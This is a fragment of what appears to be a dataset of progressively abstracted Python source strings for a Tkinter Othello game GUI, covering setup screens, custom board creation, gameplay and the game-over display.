font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n",
"<import token>\n<assignment token>\n\n\nclass Handler:\n\n def __init__(self):\n self.Game = None\n self.GameParams = {}\n self.Window = Window(self)\n self.Window.mainloop()\n <function token>\n <function token>\n <function token>\n\n def Get_Current_Player(self) ->str:\n if self.Game.Running:\n if self.Game.Current_Player == 'B':\n return 'black'\n else:\n return 'white'\n else:\n return 'None'\n <function token>\n <function token>\n\n def Move(self, x: int, y: int) ->bool:\n complete = self.Game.Next_Move(x, y)\n if complete:\n self.Update_Game()\n self.Game_Complete_Check()\n return True\n self.Update_Game()\n self.Game_Complete_Check()\n return False\n\n def Get_Winner(self) ->tuple:\n return self.Game.Check_Winner()\n <function token>\n <function token>\n\n\nclass Window(tk.Tk):\n\n def __init__(self, controller, *args, **kwargs):\n tk.Tk.__init__(self, *args, **kwargs)\n self.Handler = controller\n self.title('Othello')\n try:\n self.iconbitmap('Icon.ico')\n except:\n pass\n self.minsize(600, 600)\n self.container = tk.Frame(self)\n self.container.pack(side='top', fill='both', expand=True)\n self.container.grid_rowconfigure(0, weight=1)\n self.container.grid_columnconfigure(0, weight=1)\n self.Pages = {}\n for page in (Pregame, Custom_Board, Game, Postgame):\n new = page(self.container, self)\n self.Pages[page.FrameName] = new\n new.grid(row=0, column=0, sticky='nsew')\n self.showPage('Pregame')\n\n def showPage(self, pagename: str):\n page = self.Pages[pagename]\n page.tkraise()\n\n def Begin_Game(self):\n self.Handler.Start_Game()\n\n def Get_Current_Player(self) ->str:\n return self.Handler.Get_Current_Player()\n\n def Replay(self):\n self.Pages['Pregame'].__GUI_Reset__()\n self.Pages['Game'].Reset_Game()\n self.Handler.Replay()\n self.showPage('Pregame')\n\n\nclass Pregame(tk.Frame):\n FrameName = 'Pregame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.set_vals = []\n self.__GUI_Reset__()\n\n def __GUI_Reset__(self):\n for widget in self.winfo_children():\n widget.destroy()\n tk.Label(self, text='Otello', font=FONTS['large'], bg='white').pack(\n side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n rule_set_frame = tk.Frame(self, bg='white')\n rule_set_frame.pack(pady=10)\n self.rs_label = tk.Label(rule_set_frame, text='Rule Set', font=\n FONTS['medium'], bg='white')\n self.rs_label.pack(side='top')\n self.full_btn = tk.Button(rule_set_frame, text='FULL', font=FONTS[\n 'medium'], bg='#bbbbbb', command=lambda : self.Select_Rule_Set(\n 'full'))\n self.full_btn.pack()\n self.simple_btn = tk.Button(rule_set_frame, text='SIMPLE', font=\n FONTS['medium'], bg='#bbbbbb', command=lambda : self.\n Select_Rule_Set('simple'))\n self.simple_btn.pack()\n row_frame = tk.Frame(self, bg='white')\n row_frame.pack(pady=10)\n self.row_label = tk.Label(row_frame, text='Board Rows', font=FONTS[\n 'medium'], bg='white')\n self.row_label.grid(row=0, column=0, columnspan=7)\n self.Rows_Buttons = []\n place = 0\n for rows in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(row_frame, text=str(rows), font=FONTS['small'],\n bg='#bbbbbb', command=lambda rows=rows: self.Select_Rows(rows))\n x.grid(row=1, column=place)\n self.Rows_Buttons.append(x)\n place += 1\n col_frame = tk.Frame(self, bg='white')\n col_frame.pack(pady=10)\n self.col_label = tk.Label(col_frame, text='Board Columns', font=\n FONTS['medium'], bg='white')\n self.col_label.grid(row=0, column=0, columnspan=7)\n self.Cols_Buttons = []\n place = 0\n for cols in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(col_frame, text=str(cols), font=FONTS['small'],\n bg='#bbbbbb', command=lambda cols=cols: self.Select_Cols(cols))\n x.grid(row=1, column=place)\n self.Cols_Buttons.append(x)\n place += 1\n first_move_frame = tk.Frame(self, bg='white')\n first_move_frame.pack(pady=10)\n self.first_move_label = tk.Label(first_move_frame, text=\n 'First to move', bg='white', font=FONTS['medium'])\n self.first_move_label.grid(row=0, column=0, columnspan=2)\n self.black_btn = tk.Button(first_move_frame, text='Black', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('black'))\n self.black_btn.grid(row=1, column=0)\n self.white_btn = tk.Button(first_move_frame, text='White', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('white'))\n self.white_btn.grid(row=1, column=1)\n condition_frame = tk.Frame(self, bg='white')\n condition_frame.pack(pady=10)\n self.condition_label = tk.Label(condition_frame, text=\n 'The winner is, the player with..', bg='white', font=FONTS[\n 'medium'])\n self.condition_label.grid(row=0, column=0, columnspan=2)\n self.greater_score = tk.Button(condition_frame, text='more discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('>'))\n self.greater_score.grid(row=1, column=0)\n self.lesser_score = tk.Button(condition_frame, text='less discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('<'))\n self.lesser_score.grid(row=1, column=1)\n self.Start_Game_Btn = tk.Button(self, text='Start', bg='#ff2222',\n activebackground='#992222', font=FONTS['medium'])\n self.Start_Game_Btn.pack(side='bottom')\n\n def Select_Rule_Set(self, _set: str):\n if _set == 'simple':\n self.controller.Handler.GameParams['game_type'] = 1\n else:\n self.controller.Handler.GameParams['game_type'] = 2\n self.full_btn.destroy()\n self.simple_btn.destroy()\n self.rs_label.configure(text='Rule Set: ' + _set.upper())\n self.set_vals.append('rules')\n self.Check_Can_Start()\n\n def Select_Rows(self, rows: int):\n self.controller.Handler.GameParams['y_size'] = rows\n for button in self.Rows_Buttons:\n button.destroy()\n self.row_label.configure(text='Board Rows: ' + str(rows))\n self.set_vals.append('rows')\n self.Check_Can_Start()\n\n def Select_Cols(self, cols: int):\n self.controller.Handler.GameParams['x_size'] = cols\n for button in self.Cols_Buttons:\n button.destroy()\n self.col_label.configure(text='Board Columns: ' + str(cols))\n self.set_vals.append('cols')\n self.Check_Can_Start()\n\n def Select_First_Move(self, mover: str):\n if mover == 'black':\n self.controller.Handler.GameParams['first_move'] = 'B'\n else:\n self.controller.Handler.GameParams['first_move'] = 'W'\n self.black_btn.destroy()\n self.white_btn.destroy()\n self.first_move_label.configure(text='First to move: ' + mover)\n self.set_vals.append('move')\n self.Check_Can_Start()\n\n def Select_Condition(self, condition: str):\n self.controller.Handler.GameParams['game_winner'] = condition\n if condition == '>':\n self.condition_label.configure(text=\n 'The winner is, the player with more discs.')\n else:\n self.condition_label.configure(text=\n 'The winner is, the player with less discs.')\n self.lesser_score.destroy()\n self.greater_score.destroy()\n self.set_vals.append('win')\n self.Check_Can_Start()\n\n def Check_Can_Start(self):\n if ('rules' in self.set_vals and 'rows' in self.set_vals and 'cols' in\n self.set_vals and 'move' in self.set_vals and 'win' in self.\n set_vals):\n self.Start_Game_Btn.configure(bg='#22ff22', activebackground=\n '#229922', command=lambda : self.Start_Custom_Board())\n\n def Start_Custom_Board(self):\n self.controller.Pages['Setup_Board'].Setup_Board()\n self.controller.showPage('Setup_Board')\n self.controller.Pages['Setup_Board'].Instructions_Display()\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n",
"<import token>\n<assignment token>\n\n\nclass Handler:\n\n def __init__(self):\n self.Game = None\n self.GameParams = {}\n self.Window = Window(self)\n self.Window.mainloop()\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def Move(self, x: int, y: int) ->bool:\n complete = self.Game.Next_Move(x, y)\n if complete:\n self.Update_Game()\n self.Game_Complete_Check()\n return True\n self.Update_Game()\n self.Game_Complete_Check()\n return False\n\n def Get_Winner(self) ->tuple:\n return self.Game.Check_Winner()\n <function token>\n <function token>\n\n\nclass Window(tk.Tk):\n\n def __init__(self, controller, *args, **kwargs):\n tk.Tk.__init__(self, *args, **kwargs)\n self.Handler = controller\n self.title('Othello')\n try:\n self.iconbitmap('Icon.ico')\n except:\n pass\n self.minsize(600, 600)\n self.container = tk.Frame(self)\n self.container.pack(side='top', fill='both', expand=True)\n self.container.grid_rowconfigure(0, weight=1)\n self.container.grid_columnconfigure(0, weight=1)\n self.Pages = {}\n for page in (Pregame, Custom_Board, Game, Postgame):\n new = page(self.container, self)\n self.Pages[page.FrameName] = new\n new.grid(row=0, column=0, sticky='nsew')\n self.showPage('Pregame')\n\n def showPage(self, pagename: str):\n page = self.Pages[pagename]\n page.tkraise()\n\n def Begin_Game(self):\n self.Handler.Start_Game()\n\n def Get_Current_Player(self) ->str:\n return self.Handler.Get_Current_Player()\n\n def Replay(self):\n self.Pages['Pregame'].__GUI_Reset__()\n self.Pages['Game'].Reset_Game()\n self.Handler.Replay()\n self.showPage('Pregame')\n\n\nclass Pregame(tk.Frame):\n FrameName = 'Pregame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.set_vals = []\n self.__GUI_Reset__()\n\n def __GUI_Reset__(self):\n for widget in self.winfo_children():\n widget.destroy()\n tk.Label(self, text='Otello', font=FONTS['large'], bg='white').pack(\n side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n rule_set_frame = tk.Frame(self, bg='white')\n rule_set_frame.pack(pady=10)\n self.rs_label = tk.Label(rule_set_frame, text='Rule Set', font=\n FONTS['medium'], bg='white')\n self.rs_label.pack(side='top')\n self.full_btn = tk.Button(rule_set_frame, text='FULL', font=FONTS[\n 'medium'], bg='#bbbbbb', command=lambda : self.Select_Rule_Set(\n 'full'))\n self.full_btn.pack()\n self.simple_btn = tk.Button(rule_set_frame, text='SIMPLE', font=\n FONTS['medium'], bg='#bbbbbb', command=lambda : self.\n Select_Rule_Set('simple'))\n self.simple_btn.pack()\n row_frame = tk.Frame(self, bg='white')\n row_frame.pack(pady=10)\n self.row_label = tk.Label(row_frame, text='Board Rows', font=FONTS[\n 'medium'], bg='white')\n self.row_label.grid(row=0, column=0, columnspan=7)\n self.Rows_Buttons = []\n place = 0\n for rows in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(row_frame, text=str(rows), font=FONTS['small'],\n bg='#bbbbbb', command=lambda rows=rows: self.Select_Rows(rows))\n x.grid(row=1, column=place)\n self.Rows_Buttons.append(x)\n place += 1\n col_frame = tk.Frame(self, bg='white')\n col_frame.pack(pady=10)\n self.col_label = tk.Label(col_frame, text='Board Columns', font=\n FONTS['medium'], bg='white')\n self.col_label.grid(row=0, column=0, columnspan=7)\n self.Cols_Buttons = []\n place = 0\n for cols in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(col_frame, text=str(cols), font=FONTS['small'],\n bg='#bbbbbb', command=lambda cols=cols: self.Select_Cols(cols))\n x.grid(row=1, column=place)\n self.Cols_Buttons.append(x)\n place += 1\n first_move_frame = tk.Frame(self, bg='white')\n first_move_frame.pack(pady=10)\n self.first_move_label = tk.Label(first_move_frame, text=\n 'First to move', bg='white', font=FONTS['medium'])\n self.first_move_label.grid(row=0, column=0, columnspan=2)\n self.black_btn = tk.Button(first_move_frame, text='Black', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('black'))\n self.black_btn.grid(row=1, column=0)\n self.white_btn = tk.Button(first_move_frame, text='White', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('white'))\n self.white_btn.grid(row=1, column=1)\n condition_frame = tk.Frame(self, bg='white')\n condition_frame.pack(pady=10)\n self.condition_label = tk.Label(condition_frame, text=\n 'The winner is, the player with..', bg='white', font=FONTS[\n 'medium'])\n self.condition_label.grid(row=0, column=0, columnspan=2)\n self.greater_score = tk.Button(condition_frame, text='more discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('>'))\n self.greater_score.grid(row=1, column=0)\n self.lesser_score = tk.Button(condition_frame, text='less discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('<'))\n self.lesser_score.grid(row=1, column=1)\n self.Start_Game_Btn = tk.Button(self, text='Start', bg='#ff2222',\n activebackground='#992222', font=FONTS['medium'])\n self.Start_Game_Btn.pack(side='bottom')\n\n def Select_Rule_Set(self, _set: str):\n if _set == 'simple':\n self.controller.Handler.GameParams['game_type'] = 1\n else:\n self.controller.Handler.GameParams['game_type'] = 2\n self.full_btn.destroy()\n self.simple_btn.destroy()\n self.rs_label.configure(text='Rule Set: ' + _set.upper())\n self.set_vals.append('rules')\n self.Check_Can_Start()\n\n def Select_Rows(self, rows: int):\n self.controller.Handler.GameParams['y_size'] = rows\n for button in self.Rows_Buttons:\n button.destroy()\n self.row_label.configure(text='Board Rows: ' + str(rows))\n self.set_vals.append('rows')\n self.Check_Can_Start()\n\n def Select_Cols(self, cols: int):\n self.controller.Handler.GameParams['x_size'] = cols\n for button in self.Cols_Buttons:\n button.destroy()\n self.col_label.configure(text='Board Columns: ' + str(cols))\n self.set_vals.append('cols')\n self.Check_Can_Start()\n\n def Select_First_Move(self, mover: str):\n if mover == 'black':\n self.controller.Handler.GameParams['first_move'] = 'B'\n else:\n self.controller.Handler.GameParams['first_move'] = 'W'\n self.black_btn.destroy()\n self.white_btn.destroy()\n self.first_move_label.configure(text='First to move: ' + mover)\n self.set_vals.append('move')\n self.Check_Can_Start()\n\n def Select_Condition(self, condition: str):\n self.controller.Handler.GameParams['game_winner'] = condition\n if condition == '>':\n self.condition_label.configure(text=\n 'The winner is, the player with more discs.')\n else:\n self.condition_label.configure(text=\n 'The winner is, the player with less discs.')\n self.lesser_score.destroy()\n self.greater_score.destroy()\n self.set_vals.append('win')\n self.Check_Can_Start()\n\n def Check_Can_Start(self):\n if ('rules' in self.set_vals and 'rows' in self.set_vals and 'cols' in\n self.set_vals and 'move' in self.set_vals and 'win' in self.\n set_vals):\n self.Start_Game_Btn.configure(bg='#22ff22', activebackground=\n '#229922', command=lambda : self.Start_Custom_Board())\n\n def Start_Custom_Board(self):\n self.controller.Pages['Setup_Board'].Setup_Board()\n self.controller.showPage('Setup_Board')\n self.controller.Pages['Setup_Board'].Instructions_Display()\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, 